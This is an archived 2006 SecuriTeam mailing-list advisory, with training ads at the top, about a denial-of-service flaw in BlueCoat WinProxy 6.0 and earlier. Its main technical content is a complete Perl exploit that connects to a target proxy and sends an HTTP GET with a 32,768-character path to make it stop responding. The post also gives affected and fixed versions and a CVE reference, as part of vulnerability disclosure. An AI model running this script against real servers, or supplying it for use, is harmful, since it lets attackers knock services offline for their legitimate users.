Ethical Hacking Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package. | Computer Forensics Training at InfoSec Institute Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors. |

| Subject: | [EXPL] BlueCoat WinProxy HTTP DoS (Exploit) |
|---|---|
| Date: | 8 Jan 2006 13:53:11 +0200 |
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com - - promotion The SecuriTeam alerts list - Free, Accurate, Independent. Get your security news from a reliable source. http://www.securiteam.com/mailinglist.html - - - - - - - - - BlueCoat WinProxy HTTP DoS (Exploit) ------------------------------------------------------------------------ SUMMARY <http://www.winproxy.com/> BlueCoat WinProxy is "an Internet sharing proxy server". Improper handling of long requests within BlueCoat WinProxy allow attackers to cause the program to no longer respond to legitimate requests. DETAILS Vulnerable Systems: * WinProxy version 6.0 and prior Immune Systems: * WinProxy version 6.1a Exploit: #!perl # # "WinProxy 6.0 R1c" Remote DoS Exploit # # Author: FistFucker # e-Mail: FistFuXXer at gmx.de # # # Advisory: # http://www.idefense.com/intelligence/vulnerabilities/display.php?id=363 # # CVE info: # CAN-2005-3187 # use IO::Socket; # # destination IP address # $ip = '127.0.0.1'; # # destination TCP port # $port = 80; print '"WinProxy 6.0 R1c" Remote DoS Exploit'."\n\n"; $sock = IO::Socket::INET->new ( PeerAddr => $ip, PeerPort => $port, Proto => 'tcp', Timeout => 2 ) or print '[-] Error: Could not establish a connection to the server!' and exit(1); print "[+] Connected.\n"; $sock->send('GET /'. 'A' x 32768 ." HTTP/1.1\r\n\r\n"); print "[+] DoS string has been sent."; close($sock); #EoF ADDITIONAL INFORMATION The information has been provided by <mailto:FistFuXXer@gmx.de> FistFucker. ======================================== This bulletin is sent to members of the SecuriTeam mailing list. To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com ==================== ==================== DISCLAIMER: The information in this bulletin is provided "AS IS" without warranty of any kind. In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
| <Prev in Thread] | Current Thread | [Next in Thread> |
|---|---|---|
| ||
| Previous by Date: | [NT] BlueCoat WinProxy Multiple DoS and Buffer Overflow, SecuriTeam |
|---|---|
| Next by Date: | [EXPL] BlueCoat WinProxy Buffer Overflow (Host header, Exploit), SecuriTeam |
| Previous by Thread: | [NT] BlueCoat WinProxy Multiple DoS and Buffer Overflow, SecuriTeam |
| Next by Thread: | [EXPL] BlueCoat WinProxy Buffer Overflow (Host header, Exploit), SecuriTeam |
| Indexes: | [Date] [Thread] [Top] [All Lists] |